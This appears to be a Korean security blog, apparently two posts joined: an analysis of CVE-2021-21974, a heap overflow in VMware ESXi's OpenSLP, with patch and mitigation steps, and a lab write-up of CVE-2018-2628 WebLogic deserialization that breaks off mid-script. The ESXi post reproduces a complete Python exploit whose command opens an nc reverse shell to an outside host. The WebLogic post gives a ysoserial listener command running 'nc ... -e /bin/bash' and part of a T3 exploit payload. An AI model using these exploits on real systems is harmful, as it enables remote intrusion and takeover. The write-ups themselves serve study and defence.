- 클라이언트가 사전 구성 없이 네트워크에서 사용 가능한 서비스를 동적으로 검색할 수 있도록 하는 서비스 검색 프로토콜

- 대부분 UDP를 사용하나, 긴 패킷을 전송할 경우 TCP 또한 사용가능하며, 427 포트를 사용

구성 설명
User Agents
(UA, 사용자 에이전트)
- 서비스를 검색하는 장치
Service Agents
(SA, 서비스 에이전트)
- 하나 이상의 서비스를 알리는 장치
Directory Agents
(DA, 디렉터리 에이전트)
- 서비스 정보를 캐시하는 장치
- 트래픽 양을 줄이고 SLP 확장을 허용하기 위해 더 큰 네트워크에서 사용
- 선택 사항이지만 DA가 있는 경우 UA와 SA는 DA를 통해 통신

 

패킷 설명
서비스 요청 - UA가 사용하고자 하는 서비스를 네트워크에서 찾기위한 패킷
- 가능한 모든 결과를 얻기 위해 반복적으로 멀티캐스트 전송
- 참고 : https://datatracker.ietf.org/doc/html/rfc2608#section-8.1
속성 요청 - 서비스 요청에 대한 SA의 응답 패킷
- UA가 주어진 서비스 또는 전체 서비스 유형의 속성을 확인하도록 하여 사용 가능한 서비스에 대한 쿼리를 수행
- 참고 : https://datatracker.ietf.org/doc/html/rfc2608#section-10.3
서비스 등록 - SA가 서비스 등록(제공)을 위해 DA에 전송하는 패킷
- 참고: https://datatracker.ietf.org/doc/html/rfc2608#section-8.3
- URL에 대한 정보를 entry로 가짐
- 참고: https://datatracker.ietf.org/doc/html/rfc2608#section-4.3
디렉토리 에이전트 알림 - 전반적인 DA의 상태를 알리기위한 패킷
- 참고: https://datatracker.ietf.org/doc/html/rfc2608#section-8.5

 

2. 취약점

[사진 1]&nbsp;https://nvd.nist.gov/vuln/detail/CVE-2021-21974

- ESXi에서 사용되고 있는 OpenSLP의 힙 오버플로 취약점을 트리거하여 원격 코드를 실행할 수 있는 취약점

제품명 플랫폼 영향 받는 버전
ESXi 모든 플랫폼 6.5
6.7
7.0
힙 영역
- 필요에 의해 동적으로 할당된 변수를 저장하며, 실행 시 크기가 결정됨.
- 메모리의 낮은 주소에서 높은 주소의 방향으로 할당

힙 오버플러
- 메모리 영역 중 힙 데이터 영역에서 발생하는 버퍼 오버플로우
- 프로그램의 함수 포인터를 조작하여 임의의 명령을 실행하는 등의 악성 동작을 수행

※ 스택영역: 지역변수와 매개변수가 저장되며, 함수 호출 시 크기가 결정, 메모리의 높은 주소에서 낮은 주소방향으로 할당
※ 스택 오버플러: 함수의 RET를 조작하여 임의의 명령을 실행하는 등의 악성 동작을 수행

 

2.1 분석

- OpenSLP는 관리자 권한으로 실행되며, 인증없이 입력값을 수신하고, 문자열 끝을 미지정하는 문제로 인해 힙오버플로우가 발생

 

- 취약점은 'SLPParseSrvURL' 함수에서 발생

- 해당 함수는 '디렉토리 에이전트 알림' 메시지가 처리될 때 호출됨

undefined4 SLPParseSrvUrl(int param_1,char *param_2,void **param_3)

{
  char cVar1;
  void **__ptr;
  char *pcVar2;
  char *pcVar3;
  void *pvVar4;
  char *pcVar5;
  char *__src;
  char *local_28;
  void **local_24;
  
  if (param_2 == (char *)0x0) {
    return 0x16;
  }
  *param_3 = (void *)0x0;
  __ptr = (void **)calloc(1,param_1 + 0x1d);                                       [1]
  if (__ptr == (void **)0x0) {
    return 0xc;
  }
  pcVar2 = strstr(param_2,":/");                                                   [2]
  if (pcVar2 == (char *)0x0) {
    free(__ptr);
    return 0x16;
  }
  pcVar5 = param_2 + param_1;
  memcpy((void *)((int)__ptr + 0x15),param_2,(size_t)(pcVar2 + -(int)param_2));    [3]

- [1]: param_1(URL의 길이)에 0x1d(29)를 더하여 calloc함으로써 메모리를 할당받음

- [2]: strstr()를 이용해 param_2(사용자 입력 URL)에서 :/의 위치를 찾아 이후 문자열을 pcVar2에 저장

※ strstr은 검색 문자열을 찾지 못할경우나 null 문자에 도달할 경우 0을 반환

- [3]: memcpy()를 이용해 param_2의 (size_t)(pcVar2 + -(int)param_2)만큼을 (void *)((int)__ptr + 0x15)에 복사

 

- param_2는 사용자 입력을 통해 받는 값이지만 strstr()를 사용하기 전에 param_2의 끝에 NULL을 추가하지 않음

- 따라서 범위 밖의 문자열을 검사하여 memcpy 부분에서 heap overflow가 발생

 

- SLP를 통해 RCE를 수행하기 위해 SLP에서 송수신에 사용되는 struct _SLPBuffer의 구조는 다음과 같음

typedef struct _SLPBuffer
{
    SLPListItem listitem;
    size_t  allocated;
    unsigned char*   start;
    unsigned char*   curpos;
    unsigned char*   end;
    // buffer data is appended
}*SLPBuffer;

typedef struct _SLPDSocket
{
    SLPListItem         listitem;
    int                 fd;
    time_t              age;
    int                 state;
// ...
    SLPBuffer           recvbuf; /* Incoming socket stuff */
    SLPBuffer           sendbuf;
// ...
}SLPDSocket;

- VMware의 SLP 코드를 통해 RCE를 트리거하는 과정은 다음과 같음

① 접속상태(connection->state)를 STREAM_WRITE_FIRST로서 덮어씀. 메모리를 leak 하기 위해 sendbuf->curpos를 sendbuf->start로 리셋

② sendbuf->start의 일부분을 2개의 널 바이트로 덮어씀. 연결 후 수신을 기다리면, sendbuf의 주소를 포함한 메모리를 leak 할 수 있음

③ mmap()으로 할당된 recvbuf를 leak 하기 위해 새로운 연결을 하고 sendbuf->curpos를 덮어씀. mmap 된 주소를 통해 libc base 주소를 얻을 수 있음

④ free_hook의 주소를 설정하기 위해 새로운 연결에서 recvbuf->curpos를 덮어씀. 연결 후 전송이 시작되면 free_hook을 덮어쓸 수 있습니다.

⑤ 연결을 종료하면 free_hook을 호출되여 ROP 체인을 시작

ROP(Return-Oreinted-Programming)
- ret영역에 가젯을 이용하여 연속적으로 함수를 호출하며 공격자가 원하는 흐름대로 프로그래밍 하듯 공격
- 총 두가지 과정으로 나뉘어짐
① 공격을 하기위해 필요한 요소들을 구하는 과정
② ①에서 구한 요소들을 가지고 Exploit

 

2.2 PoC

- 대상 서버에 조작된 SLP 패킷 생성 및 전송하여 힙 오버플로를 유발한 후 임의의 명령을 실행하는 과정으로 판단됨

#!/usr/bin/python3

import sys
import time
import trace
import queue
import struct
import socket
import threading

IP = sys.argv[1]
#shell_cmd = b'echo "pwned" > /tmp/pwn'
shell_cmd = b'mknod /tmp/backpipe p ; /bin/sh 0</tmp/backpipe | nc 192.168.0.194 80 1>/tmp/backpipe'

DEBUG = False
PRINT = True
LOG_LEAK = False

T = 0.3 #0.4
PORT = 427
COMMAND = 'command'
MARKER = b'\xef\xbe\xad\xde'

LISTEN = 0x65
STREAM_READ = 0x6c
STREAM_WRITE = 0x6f
STREAM_READ_FIRST = 0x6d

LISTEN_FD = 0x8

leaked_data = b'\x00\x00\x00\x00'
leaked_values = None

class SLP_Thread(threading.Thread):
    def __init__(self, input_q):
       super(SLP_Thread, self).__init__()
       self.input_q = input_q

    def run(self):
       s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
       while True:
          try:
             
             data = self.input_q.get(True, 0.05)
             name = threading.current_thread().name.replace('Thread','SLP Client') 
             
             if 'connect' == data[COMMAND]:
                if PRINT:
                   print('[' + name + '] connect')
                s.connect((IP, PORT)) 
             
             elif 'service request' == data[COMMAND]:
                arg1 = data['arg1'] 
                outgoing = self.generate_srv_rqst(arg1)
                if PRINT:
                   print('[' + name + '] service request')
                s.send(outgoing)
                d = s.recv(1024)
                if PRINT:
                   print('[' + name + '] recv: ', d)
 
             elif 'directory agent advertisement' == data[COMMAND]:
                arg1 = data['arg1']
                arg2 = data['arg2']
                outgoing = self.generate_da_advert(arg1, arg2)
                if PRINT:
                   print('[' + name + '] directory agent advertisement')
                s.send(outgoing)
                d = s.recv(1024)
                if PRINT:
                   print('[' + name + '] recv: ', d)
       
             elif 'service registration' == data[COMMAND]:
               arg1 = data['arg1']
               arg2 = data['arg2']
               arg3 = data['arg3']
               arg4 = data['arg4']       
               outgoing = self.generate_srv_reg(arg1, arg2, arg3, arg4)
               if PRINT:
                  print('[' + name + '] service registration')
               s.send(outgoing)
               d = s.recv(1024)
               if PRINT:
                  print('[' + name +'] recv: ', d)

             elif 'attribute request' == data[COMMAND]:
               arg1 = data['arg1']
               arg2 = data['arg2']
               outgoing = self.generate_attrib_rqst(arg1)
               if PRINT:
                  print('[' + name + '] attribute request')
               s.send(outgoing)
               output = b''
               for i in range(0, arg2):
                  output += s.recv(1)
               if PRINT:
                  print('[' + name + '] recv: ', output)
             
             elif 'recv' == data[COMMAND]:
                output = b''
                arg1 = data['arg1']
                arg2 = data['arg2']
                for i in range(0, arg2):
                   output += s.recv(1)
                if arg1:
                   print('[' + name + '] recv: ', output)
             
             elif 'leak data' == data[COMMAND]:
                outgoing = b''
                incoming = b''
                arg1 = data['arg1']   
  
                if arg1 > 0:
                
                   for i in range(0, arg1):
                      outgoing += s.recv(1)

                   #print(outgoing.hex())

                   global leaked_data
                   leaked_data = outgoing            
 
                else:

                   while True:
                      incoming = s.recv(1)
                      outgoing += incoming
                      if MARKER in outgoing:
                         break
                   
                   global leaked_values
                   leaked_values = []

                   try:
                      for i in range(0, len(outgoing), 4):
                         v = struct.unpack('<I', outgoing[i : i+4])[0]
                         leaked_values.append(v)
                   except:
                      pass

             elif 'close' == data[COMMAND]:
                if PRINT:
                   print('[' + name + '] close')
                s.close()
                break
       
          except queue.Empty:
             continue 

    def generate_slp_header(self, payload, functionid, xid, extoffset):
       packetlen = len(payload) + 16
       if extoffset:
          extoffset += 16
       header = bytearray([2, functionid])
       header.extend(struct.pack('!IH', packetlen, 0)[1:])
       header.extend(struct.pack('!IHH', extoffset, xid, 2)[1:])
       header.extend(b'en')
       return header

    def generate_srv_rqst(self, data):
       srvtype = prlist = scopes = predicate = b''
       spi = data
       payload = bytearray(struct.pack('!H', len(prlist)) + prlist)
       payload.extend(struct.pack('!H', len(srvtype)) + srvtype)
       payload.extend(struct.pack('!H', len(scopes)) + scopes)
       payload.extend(struct.pack('!H', len(predicate)) + predicate)
       payload.extend(struct.pack('!H', len(spi)) + spi)
       header = self.generate_slp_header(payload, 1, 5, 0)
       return header + payload

    def generate_da_advert(self, url, scopes):
       error_code = 0
       boot_time = int(time.time())
       attributes = spi = auth_blocks = b''
       payload = bytearray(struct.pack('!H', error_code) + struct.pack('!I', boot_time))
       payload.extend(struct.pack('!H', len(url)) + url)
       payload.extend(struct.pack('!H', len(scopes)) + scopes)
       payload.extend(struct.pack('!H', len(attributes)) + attributes)
       payload.extend(struct.pack('!H', len(spi)) + spi)
       payload.extend(struct.pack('!H', len(auth_blocks)) + auth_blocks)
       header = self.generate_slp_header(payload, 8, 0, 0)
       return header + payload
   
    def generate_url_entry(self, url):
       lifetime = 2 * 60 #seconds
       auth_blocks = b''
       payload = bytearray([0])
       payload.extend(struct.pack('!H', lifetime))
       payload.extend(struct.pack('!H', len(url)) + url)
       payload.extend(struct.pack('!B', len(auth_blocks)) + auth_blocks)
       return payload
   
    def generate_srv_reg(self, url, srvtype, scopes, attributes):
       attrib_auth_blocks = b''
       url_entry = self.generate_url_entry(url)
       payload = bytearray(url_entry)
       payload.extend(struct.pack('!H', len(srvtype)) + srvtype)
       payload.extend(struct.pack('!H', len(scopes)) + scopes)
       payload.extend(struct.pack('!H', len(attributes)) + attributes)
       payload.extend(struct.pack('!B', len(attrib_auth_blocks)) + attrib_auth_blocks)
       header = self.generate_slp_header(payload, 3, 20, 0)
       return header + payload
   
    def generate_attrib_rqst(self, url):
       scopes = b'DEFAULT'
       prlist = tags = spi = b''
       payload = bytearray(struct.pack('!H', len(prlist)) + prlist)
       payload.extend(struct.pack('!H', len(url)) + url)
       payload.extend(struct.pack('!H', len(scopes)) + scopes)
       payload.extend(struct.pack('!H', len(tags)) + tags)
       payload.extend(struct.pack('!H', len(spi)) + spi)
       header = self.generate_slp_header(payload, 6, 12, 0)
       return header + payload

def close():
   time.sleep(T)
   return {'command' : 'close'}

def connect():
   time.sleep(T)
   return {'command' : 'connect'}

def service_request(arg1):
   time.sleep(T)
   return {'command' : 'service request', 'arg1' : arg1}

def da_advert_request(arg1, arg2):
   time.sleep(T)
   return {'command' : 'directory agent advertisement', 'arg1' : arg1, 'arg2' : arg2}

def service_registration(arg1, arg2):
   time.sleep(T)
   return {'command' : 'service registration', 'arg1' : b'127.0.0.1', 'arg2' : arg1, 'arg3' : b'default', 'arg4' : arg2}

def attribute_request(arg1, arg2):
   time.sleep(T)
   return {'command' : 'attribute request', 'arg1' : arg1, 'arg2' : arg2}

def leak_data(arg1 = -1):
   time.sleep(T)
   return {'command' : 'leak data', 'arg1': arg1}

def overflow_and_extend(size, flag):
   arg1 = b'A' * 24
   arg2 = b'B' * 13 + struct.pack('<H', size + flag) + b':/' + b'C' * 647
   return da_advert_request(arg1, arg2)

def update_target_slpdsocket(fd, size, state):
   payload  = b'\xd0\x00\x00\x00'
   payload += b'\x00' * 8 + b'\xbe\xba\xfe\xca'
   payload += struct.pack('<I', fd)
   payload += b'\x00' * 4
   payload += struct.pack('<I', state)
   payload += b'\x00' * 12
   payload += b'\x02\x00\x00\x00'
   payload += b'\x7f\x00\x00\x01'
   payload += b'\x00' * 8
   filler = b'A' * (size - 0x76)
   return service_request(filler + payload)

def partial_update_target_send_buffer(size, send_buffer_size, flag, data):
   payload  = struct.pack('<I', send_buffer_size + flag)
   payload += b'\x00' * 8
   payload += struct.pack('<I', send_buffer_size - 0x20)
   payload += data #b'\x00' * 2
   filler = b'A' * (size - 0x56)
   return service_request(filler + payload)

def update_target_send_buffer(size, send_buffer_size, flag, address, length):
   payload = struct.pack('<I', send_buffer_size + flag)
   payload += b'\x00' * 8
   payload += struct.pack('<I', send_buffer_size - 0x20)
   payload += struct.pack('<I', address) * 2
   payload += struct.pack('<I', address + length)
   payload += b'\x00' * 0x10
   filler = b'A' * (size - 0x66)
   return service_request(filler + payload)

def update_target_recv_buffer(size, address):
   size += 0x1a
   payload  = b'\x40\x00\x00\x00'
   payload += b'\x00' * 8
   payload += struct.pack('<I', size)
   payload += struct.pack('<I', address - 26) * 2 + struct.pack('<I', address - 26 + size)     
   filler = b'A' * 0xca
   return service_request(filler + payload)

def block(size):
   if size > 0x38:
      size = size - 0x38
   else:
      size = 1
   return service_request(b'A' * size)

def breakpoint():
   time.sleep(T)
   input('breakpoint')

def exploit():
   count = 60
   requests = [0]
   slpclients = [0]

   global leaked_data
   global leaked_values

   requests.extend([queue.Queue() for i in range(1, count)])
   slpclients.extend([SLP_Thread(input_q = requests[i]) for i in range(1, count)])

   for i in range(1, count):
      slpclients[i].start()

   requests[1].put(connect())
   requests[1].put(da_advert_request(b'roflmao://pwning', b'BBB'))

   requests[2].put(connect())
   requests[3].put(connect())
   requests[4].put(connect())
   requests[5].put(connect())

   requests[2].put(block(0x40))
   requests[3].put(block(0x40))
   requests[4].put(block(0x40))
   requests[5].put(block(0x40))

   requests[6].put(connect())
   requests[6].put(block(0x810))
   requests[7].put(connect())
   requests[8].put(connect())
   requests[6].put(close())
   requests[9].put(connect())
   requests[9].put(overflow_and_extend(0x140, 0x1))
   fd = 0xc
   requests[8].put(update_target_slpdsocket(fd, 0x140, STREAM_READ_FIRST))
   requests[7].put(service_registration(b'service:pwn', MARKER + b'B' * (0x3200 - 21 - 4)))
   requests[8].put(update_target_slpdsocket(LISTEN_FD, 0x140, LISTEN))
   requests[10].put(connect())
   requests[10].put(block(0x70))

   requests[11].put(connect())
   requests[12].put(connect())
   requests[13].put(connect())
   requests[11].put(block(0x810))
   requests[14].put(connect())
   requests[14].put(block(0x160))
   requests[12].put(block(0x810))
   requests[14].put(close())
   requests[15].put(connect())
   requests[15].put(attribute_request(b'service:pwn', 0x20))

   requests[13].put(block(0x110))
   requests[16].put(connect())
   requests[17].put(connect())

   requests[12].put(close())
   requests[18].put(connect())
   requests[18].put(overflow_and_extend(0x120, 0x3))
   requests[17].put(partial_update_target_send_buffer(0x120, 0x3220, 0x1, b'\x00\x00'))
   requests[19].put(connect())
   requests[19].put(block(0x178))

   requests[11].put(close())
   requests[20].put(connect())
   requests[20].put(overflow_and_extend(0x140, 0x1))
   fd = 0x11
   requests[16].put(update_target_slpdsocket(fd, 0x140, STREAM_WRITE))
   requests[16].put(update_target_slpdsocket(LISTEN_FD, 0x140, LISTEN))
   requests[21].put(connect())
   requests[21].put(block(0x178))
   requests[15].put(leak_data())

   time.sleep(T + 1.0)

   heap_address = 0
   libc_base_address = 0

   if leaked_values == None:
      print("[-] Exploit Failed [-]")
      return -1

   leaked_values = leaked_values[::-1]

   if LOG_LEAK:  
      for i in leaked_values:
         print(hex(i))
 
   if leaked_values[0] == 0xdeadbeef:
      heap_address = leaked_values[6] - 0x3220 + 0x4
     
   elif leaked_values[0] == 0xefeb3174:
      heap_offset = 0x2b1 if leaked_values[42] == 0x42424242 else 0x5d61
      heap_address = leaked_values[14] + heap_offset
   
   libc_leak_location = heap_address - 0x100 + 4
      
   requests[22].put(connect())
   requests[22].put(block(0x810))
   requests[23].put(connect())
   requests[23].put(block(0x100))
   requests[24].put(connect())
   requests[24].put(block(0x810))
   requests[23].put(close())
   requests[25].put(connect())
   requests[25].put(block(0x698))

   requests[27].put(connect())
   requests[28].put(connect())

   requests[24].put(close())
   requests[26].put(connect())
   requests[26].put(overflow_and_extend(0x130, 0x1))
   requests[27].put(update_target_send_buffer(0x130, 0x598, 0x1, libc_leak_location, 0x4))
   requests[29].put(connect())
   requests[29].put(block(0x178))
   
   requests[22].put(close())
   requests[30].put(connect())
   requests[30].put(overflow_and_extend(0x140, 0x1)) 
   fd = 0x15
   requests[28].put(update_target_slpdsocket(fd, 0x140, STREAM_WRITE))
   requests[28].put(update_target_slpdsocket(LISTEN_FD, 0x140, LISTEN))
   requests[31].put(connect())
   requests[31].put(block(0x178))
   requests[25].put(leak_data(0x4))
 
   time.sleep(T + 1.0)
   libc_base_address = struct.unpack('<I', leaked_data)[0] - 0x193568

   libc_ret_offset = 0x0008009c
   libc_system_offset = 0x0003e390
   libc_environ_offset = 0x00194e20
   libc___free_hook_offset = 0x001948d8
   libc_ret_address = libc_base_address + libc_ret_offset
   libc_system_address = libc_base_address + libc_system_offset
   libc_environ_address = libc_base_address + libc_environ_offset
   libc___free_hook_address = libc_base_address + libc___free_hook_offset
   shell_cmd_address = heap_address + 0x34

   gadget_offset = 0x0007fe01 # add esp, 0x100 ; ret
   gadget_address = libc_base_address + gadget_offset

   requests[27].put(update_target_send_buffer(0x130, 0x598, 0x1, libc_environ_address, 0x4))
   requests[28].put(update_target_slpdsocket(fd, 0x140, STREAM_WRITE))
   requests[25].put(leak_data(0x4))
 
   time.sleep(T + 1.0)
   stack_environ_address =  struct.unpack('<I', leaked_data)[0]
   esp_offset = 0xe30 if sys.argv[2] == '1' else 0xe7c
   esp_value = stack_environ_address - esp_offset
   pivoted_esp_value = esp_value + 0x100

   print()
   print('[+] libc base address: ', hex(libc_base_address))
   print("[+] libc system address: ", hex(libc_system_address))
   print("[+] libc environ address: ", hex(libc_environ_address))
   print("[+] libc __free_hook address: ", hex(libc___free_hook_address))
   print("[+] ret address: ", hex(libc_ret_address))
   print("[+] gadget address: ", hex(gadget_address))
   print('[+] heap address: ', hex(heap_address))
   print("[+] shell command address: ", hex(shell_cmd_address))
   print("[+] stack enviorn address: ", hex(stack_environ_address))
   print("[+] esp value: ", hex(esp_value))
   print("[+] pivoted esp value: ", hex(pivoted_esp_value))
   print()

   requests[28].put(update_target_slpdsocket(LISTEN_FD, 0x140, LISTEN))
   
   requests[32].put(connect())
   requests[32].put(block(0x810))
   requests[33].put(connect())
   requests[34].put(connect())
   requests[34].put(block(0x810))
   requests[33].put(block(0x100))
  
   requests[35].put(connect())
   requests[36].put(connect())

   requests[34].put(close())
   requests[37].put(connect())
   requests[37].put(overflow_and_extend(0x120, 0x3))
   requests[36].put(update_target_recv_buffer(0x4, shell_cmd_address))
   requests[38].put(connect())
   requests[38].put(block(0x178))
   
   requests[32].put(close())
   requests[39].put(connect())
   requests[39].put(overflow_and_extend(0x140, 0x1))
   requests[35].put(update_target_slpdsocket(LISTEN_FD, 0x140, LISTEN))
   requests[40].put(connect())
   requests[40].put(block(0x178))   

   fd = 0x1a
   payload = shell_cmd + b'\x00'
   requests[36].put(update_target_recv_buffer(len(payload), shell_cmd_address))
   requests[35].put(update_target_slpdsocket(fd, 0x140, STREAM_READ))
   requests[33].put(service_request(payload))
   
   payload = struct.pack('<I', libc_ret_address) * 10 + struct.pack('<I', libc_system_address) + b'\x41' * 4 + struct.pack('<I', shell_cmd_address)
   requests[36].put(update_target_recv_buffer(len(payload), pivoted_esp_value - 0x10)) 
   requests[35].put(update_target_slpdsocket(fd, 0x140, STREAM_READ))
   requests[33].put(service_request(payload))
   
   #breakpoint()
   
   payload = b'\x41\x41\x41\x41' if DEBUG == True else struct.pack('<I', gadget_address)
   requests[36].put(update_target_recv_buffer(len(payload), libc___free_hook_address))
   requests[35].put(update_target_slpdsocket(fd, 0x140, STREAM_READ))
   requests[33].put(service_request(payload))

   time.sleep(T + 1.0) 
   print('[*] exploit deployed')
   return 0

def intro():
   print("   _____   _____   ___ __ ___ _    ___ _ ___ ____ _ _       ")
   print("  / __\ \ / / __|_|_  )  \_  ) |__|_  ) / _ \__  | | |      ")
   print(" | (__ \ V /| _|___/ / () / /| |___/ /| \_, / / /|_  _|     ")
   print("  \___| \_/ |___| /___\__/___|_|  /___|_|/_/ /_/   |_|      ")
   print()
   print("                       PoC Exploit                          ")
   print()
   print("      vuln discovered by: Lucas Leong (@_wmliang_)          ")
   print("           poc by: Johnny Yu (@straight_blast)              ")
   print("                                                            ")
   print()
   print("           currently support the following:                 ")
   print("         [1] VMware ESXi 6.7.0 build-14320388               ")
   print("         [2] VMware ESXi 6.7.0 build-16316930               ")
   print()

if __name__ == '__main__':
   intro()   
   exploit()

3. 대응방안

① 최신 업데이트 적용

※ 참고: https://www.vmware.com/security/advisories/VMSA-2021-0002.html

제품명 플랫폼 영향 받는 버전 패치 버전
ESXi 모든 플랫폼 6.5 ESXi650-202102101-SG
6.7 ESXi670-202102401-SG
7.0 ESXi70U1c-17325551

 

② SLP 서비스 사용 중지

  ⒜ 명령어 사용

    i) ssh로 취약한 ESXi 호스트에 로그인
    ii) 아래 명령어로 호스트 SLP 서비스 중지
      - /etc/init.d/slpd stop
    iii) 재부팅 후에도 비활성화를 유지하려면 아래 명령어를 입력
      - chkconfig slpd off

 

  ⒝ GUI 사용

    i) vCenter에 로그인
    ii) ESXi 호스트를 선택하고 'Configure'-'Service' 탭 클릭
    iii) 목록에서 SLP 서비스를 선택
      * 목록에 SLP가 없다면 명령어로 SLP 서비스를 중지
    iv) 알림창의 서비스 중지 버튼('OK')를 클릭

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2021-21974
https://www.vmware.com/security/advisories/VMSA-2021-0002.html
https://github.com/Shadow0ps/CVE-2021-21974/blob/main/2021-21974-POC.py
https://straightblast.medium.com/my-poc-walkthrough-for-cve-2021-21974-a266bcad14b9
https://www.zerodayinitiative.com/blog/2021/3/1/cve-2020-3992-amp-cve-2021-21974-pre-auth-remote-code-execution-in-vmware-esxi
- https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=3592
- https://koren.kr/kor/Alram/notiView.asp?s=4082 

1. WebLogic

- Oracle사에서 개발한 Web Application Server로 JAVAEE 아키텍처를 기반으로 하는 미들 웨어

 

Weblogic Server | Oracle

Oracle WebLogic Server is a unified, extensible platform for developing and deploying enterprise Java applications, on-premises or in the cloud.

www.oracle.com

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2018-2628

- Oracle WebLogic 서버의 RMI 레지스트리를 역직렬화로 원격 코드를 실행할 수 있는 취약점

- 기본 포트 7001를 사용하는 서버를 대상으로 공격이 이루어지지만 다른 포트를 사용 중인 경우에도 공격

영향받는 버전
- Oracle Weblogic 10.3.6.0 / 12.2.1.2 / 12.1.3.0 / 12.2.1.3

 

2.1 공격 흐름

① 공격자는 Weblogic 서버에서 오픈된 T3 프로토콜과 소켓 통신 생성

② 조작된 페이로드를 전송

③ 원격 서버가 전송받은 페이로드를 역직렬화하여 원격코드 실행

[사진 2] https://www.igloo.co.kr/security-information/cve-2018-2628-oracle-weblogic-rce-deserialization-vulnerability/

 

Java RMI
- 원격 시스템 간의 메시지 교환을 위해서 사용하는 기술
- 원격에 있는 시스템의 메서드를 로컬 시스템의 메서드인 것처럼 호출
- 원격 시스템의 메서드를 호출 시에 전달하는 메시지(보통 객체)를 자동으로 직렬화 시켜 사용
- 전달받은 원격 시스템은 메시지를 역직렬화를 통해 변환하여 사용

Weblogic T3 프로토콜
- WebLogic 서버와 다른 유형의 Java 프로그램간에 정보를 전송하는 데 사용되는 프로토콜

 

2.2 실습

- Oracle Weblogic 10.3.6.0 정상 접근 확인

[사진 3] WebLogic 구동

 

- 먼저 공격자는 다음 명령을 수행

※ 해당 명령어는 포트를 열고 Listen을 하면서 대기중인 상태

java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "nc 192.168.56.102 4444 -e /bin/bash"

[사진 4] 1099 포트 오픈 명령

 

- 이와 동시에 공격자는 리버스 쉘 생성을 위한 명령을 수행

[사진 5] 리버스 쉘

 

- 공개된 exploit을 이용해 페이로드 전송

※ exploit : https://www.exploit-db.com/exploits/44553

python 44553.py 192.168.56.112 7001 ysoserial-all.jar 192.168.56.102 1099 JRMPClient

[사진 6] exploit 페이로드 전송

- [사진 4]의 terminal을 확인해보면 [사진 7]과 같은 문자열이 확인됨

[사진 7] Listener Terminal

 

- 이후 [사진 5]의 리버스쉘 생성되며, 이에 따라 원격 명령 수행이 가능해짐

※ 실습에서는 리버스 쉘 생성이 되지않아, 와이어샤크를 통해 패킷 확인 결과 다른 IP로의 연결 시도가 된것으로 판단

[사진 8] 패킷 확인

 

- 위 과정이 정상적으로 이루어진 경우 리버스 쉘 생성과 원격 명령 수행이 가능해짐

[사진 9] 리버스 쉘 생성(위) 및 패킷 확인(아래)

2.3 PoC

from __future__ import print_function

import binascii
import os
import socket
import sys
import time


def generate_payload(path_ysoserial, jrmp_listener_ip, jrmp_listener_port, jrmp_client):
    #generates ysoserial payload
    command = 'java -jar {} {} {}:{} > payload.out'.format(path_ysoserial, jrmp_client, jrmp_listener_ip, jrmp_listener_port)
    print("command: " + command)
    os.system(command)
    bin_file = open('payload.out','rb').read()
    return binascii.hexlify(bin_file)


def t3_handshake(sock, server_addr):
    sock.connect(server_addr)
    sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
    time.sleep(1)
    sock.recv(1024)
    print('handshake successful')


def build_t3_request_object(sock, port):
    data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
    data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))
    data3 = '1a7727000d3234322e323134'
    data4 = '2e312e32353461863d1d0000000078'
    for d in [data1,data2,data3,data4]:
        sock.send(d.decode('hex'))
    time.sleep(2)
    print('send request payload successful,recv length:%d'%(len(sock.recv(2048))))


